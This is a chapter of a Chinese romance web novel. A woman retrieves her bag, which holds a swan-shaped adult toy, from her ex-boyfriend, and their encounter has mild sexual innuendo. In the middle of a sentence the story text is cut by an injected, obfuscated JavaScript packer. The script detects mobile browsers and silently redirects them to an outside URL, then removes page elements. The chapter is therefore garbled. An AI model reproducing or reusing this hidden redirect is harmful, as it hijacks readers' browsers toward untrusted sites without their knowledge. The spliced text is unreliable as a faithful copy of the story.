“气场,气场你懂不懂啊!……搜了一下,他好像就来唱过两三次,油管上还有他的演出视频呢。” “底下好像有人说他皮下是李恪。” “李恪?好熟悉的名字——诶车来了!” 路人和唐枫擦肩而过,她目送他们钻进出租车,旁边的人一个一个减少。 唐枫站在livehouse门口,眼看着人群已经剩下不到半数,才准备从包里拿出手机来打车。 ——等等。 包呢?手机呢? 回忆起方才,究竟是沉迷于听歌不小心把包放在吧台了,还是到后台的时候手脚一软让包从肩上脱落了…… 唐枫马不停蹄往回跑。 手机已经不是现在她最在意的东西了,最重要的是里面的小天鹅! 苍天啊,她当时为什么要把小天鹅收下,收下为什么不偷偷扔了,没扔为什么要放在包里,放在包里为什么要拿到人这么多的场合里…… 一想到她一会儿要去面对捡到她包后,可能看到了她包里小天鹅的人,就觉得人生至暗处最多也就是这样了。 ——但其实不然。 “哦那个黑包啊,我看到交给李恪了,你们不是认识么。”吧台酒保说。 唐枫:“……” “那,李,恪,在,哪。”她一个字一个字挤出来。 “走了。”酒保一边擦着酒杯,随意道,“他说你能找到他的。” 唐枫:“…………” 她刚才怎么没一巴掌打死他呢。 …… 次日7点,李恪被手机闹钟吵醒。 通常没有通告的时候,他会睡到10点以后起床。 而且他从不定闹钟,只有自然醒,或者被陈铮的紧急电话叫醒。 此刻李恪闭着眼,把床头包里的手机拿出来,胡乱点击了关闭。 十分钟后,闹钟又响了。 再次关闭。 如此响了四次,李恪终于忍无可忍从床上坐起来了。 唐枫究竟有什么重要的任务,要定四个闹钟提醒! 点开屏幕,闹钟备注:这次真的真的真的该起了! 以此推论,前三次闹钟应该是:起床、这次真的该起了、这次真的真的该起了。 对着手机无奈笑了下,李恪困意散去,起床气也被这典型的唐枫式备注冲尽,他快速洗漱套了个外套,从客卧把Maple揪了起来。 Maple眼皮还没扒开,它迷迷瞪瞪看着李恪:现在吗?这么早?你又发什么神经。 遛狗的时候遇到了CoCo,之前李恪带Maple出门时碰到过一次,两狗见面就互相吼,都说同性相斥,李恪以为CoCo也只是母狗。 后来有次下楼买东西又碰到了没牵狗的边牧主人,是个外科医生,挺热情,主动和李恪打了招呼,介绍自己的狗叫CoCo,但是只公狗。 公狗叫CoCo? CoCo主人解释是因为CoCo蛋蛋很小,买的时候黑心卖家按母狗价格卖给他的,他没仔细检查带回了家起名CoCo,直到后来CoCo抬脚支在柱子上撒尿他才发现的。 CoCo主人见到李恪,热情迎上去,CoCo竟然破天荒真的没和Maple再互吼。 之前那次是Maple先吼人家的,李恪找过训犬师,对方说是因为狗觉得主人没有能力保护自己才会靠自己去震慑敌人。 被唐枫遛过这么一次后,Maple竟然就找到了他六年都没做到的安全感。 “今天是你带Maple出来啊?上次那小姑娘呢?”CoCo主人搭话道。 “她今天不在。” 两只狗在底下互嗅对方的气息,李恪低头盯着,他总感觉Maple还是会猝不及防再次攻击。 CoCo主人停顿了下,试探问:“那是你女朋友?” 李恪抬头,看向对方。 “别误会,我没别的意思。”CoCo主人说,“昨天我们聊得挺好的,约了下次一起出来遛,不过我忘了加她联系方式了,你方便给我一下吗?” “是。” “啊?” “我是说,她是我女朋友。”李恪说。 CoCo主人一脸尴尬,“……我真没别的意思哈,就是想多个狗友,不过既然这样不加也没事。走了CoCo!” Maple拽着牵引绳跟着CoCo方向动,被李恪拉了回来,“干嘛,你也想跟他走?” Maple察觉李恪语气不对,呜咽一声,乖乖跟着李恪回了家。 一人一狗刚到门口,李恪就察觉到了家里进人的气息,但Maple的反应比他快,还没等他松开牵引绳,就撒欢儿地朝客厅方向跑过去。 李恪被拽着惯性朝前走了一步,牵引绳从手中脱落,他走出玄关,Maple已经扑在了唐枫怀里。 “慢点慢点……哎呀踩到哪里去了这是…Maple啊你嘴巴凑凑的……” Maple两只笨重的前爪搭在唐枫身上,脑袋蹭着她的肩膀,兴奋地舔舐她的下巴和脸颊,唐枫一边嫌弃一边抚摸,亲昵地轻轻拍打在它的后背上。 李恪对着这个画面愣怔了一瞬,他在这一秒忽然觉得那六年的空白似乎从来没有从他们的世界里存在过。 他只是出了趟门,回家的时候唐枫还在,她抱着Maple骂他没有给它好好刷牙,然后让他写10页的小作文反省自己。 然而现实是,上一秒对着Maple笑脸相向的人,下一秒冷脸看着他:“我来拿包。” 思绪彻底被拉扯回来,李恪从旁边柜子里捞出她的挎包,食指勾着包带。 唐枫上前去拿,他却又倏地收回了动作。 “还包可以。”李恪把包高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15068794|161843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举起,“但你要答应我个条件。” 唐枫就知道这包没这么好拿,“什么条件。” “继续陪Maple。” 唐枫等了一会儿,他没再说其他,她惊讶了,“就这么简单?” 李恪鼻间哼出一声轻笑,“想做什么可以加。” 唐枫抵着下巴审视着李恪,这货怎么突然变了性情了,这么大好的一个拿捏她的机会,就只是让她继续遛狗? 这要在以前,他肯定会借机让她给他当牛做马。 “对了。”李恪想起什么。 唐枫心说,来了来了要来了吧。 “你昨天打了我一巴掌。” 唐枫:“……那是因为你亲我!” “你可以亲回来。” “……丧心病狂!把包还我。” 唐枫就要上前去抢。 浅蓝色帆布包在李恪手里划出一道抛物线,从左手被他扔到了右手,唐枫像只炸毛的猫似的扑上去,却只和包堪堪擦了个边。 “李恪!”唐枫咬牙,跺着脚发力去抓他的手腕,却被他侧身避开,整个人失去重心向前载去。 “————” 天旋地转之间唐枫抓住了李恪的胳膊,“咚”的一声她将他扑倒在沙发上,手肘撑在李恪耳侧,膝盖卡在他的大腿之间。 李恪喉结动了动,“这么心急。” 声音扫过唐枫的耳朵,鼻间充斥他身上淡淡的水调气息。 一上一下,熟悉的姿势唤醒了唐枫的记忆,一股电流麻过她的后脑。 啊啊啊啊啊…… 伸手将包从李恪手里夺过来,唐枫就要起身,可下一秒,一个重物猛地压在了她的身上。 一偏头,Maple兴奋地趴在她上方,一只爪子搭着她的肩,另一只搭在李恪身上,开心地加入这场叠叠乐游戏。 唐枫:“……” 原本她勉强撑起一些的地方被彻底压了下去,身体严丝合缝地紧贴,唐枫能感觉到李恪坚硬的胸肌,以及—— 越来越硬的…… 唐枫身体一僵,猛地向侧边一闪,从夹心饼干的造型里逃出来,她抱着包捂在自己胸前,盯着李恪。 李恪却好似无事一般,从沙发上起身。整理了下衣服,他说:“尘尘约你老地方见。” “你看我手机!?” 李恪:“尘尘是谁。” “你看我手机!!”唐枫气极地瞪着面前的人。 李恪:“你一早上四个闹钟,我看不到也很难。” “你不会闭着眼关吗?”唐枫狡辩,“那是我的隐私!” “隐私?”李恪冷笑了声,“那我看到了你的隐私,你是不是要杀我灭口。” “你抖M啊,第一次见到人上赶着求虐的。”唐枫睨着他,“神经!” 她从包里掏出手机,未读信息还显示在屏幕上,幸好李恪不知道她是她,不然肯定能猜到她的密码是什么。 手机放回包的一瞬间,手背碰到了里面鼓鼓囊囊的另一样东西,唐枫整个人像被电了一下。 李恪拿出过她的手机,也就是说,很有可能也碰到过小天鹅…… 她一早上都在刻意避开提到这个,观察李恪的反应,他好像并没有看到过,不然不会这么淡定…… 唐枫轻咳了一声,“你没乱翻我包吧。” “我。” “没有就好。” 唐枫松了口气,她心想李恪就算看到了也不一定能认出来这是什么,这小玩具做得精巧可爱,外观看上去就像个小天鹅造型的玩偶。 这么安慰着自己,唐枫告别了Maple准备往门口走。 走到玄关的时候,李恪站在不远处看着她。 “你口红盖开了,蹭到了小天鹅上,洗洗再用。”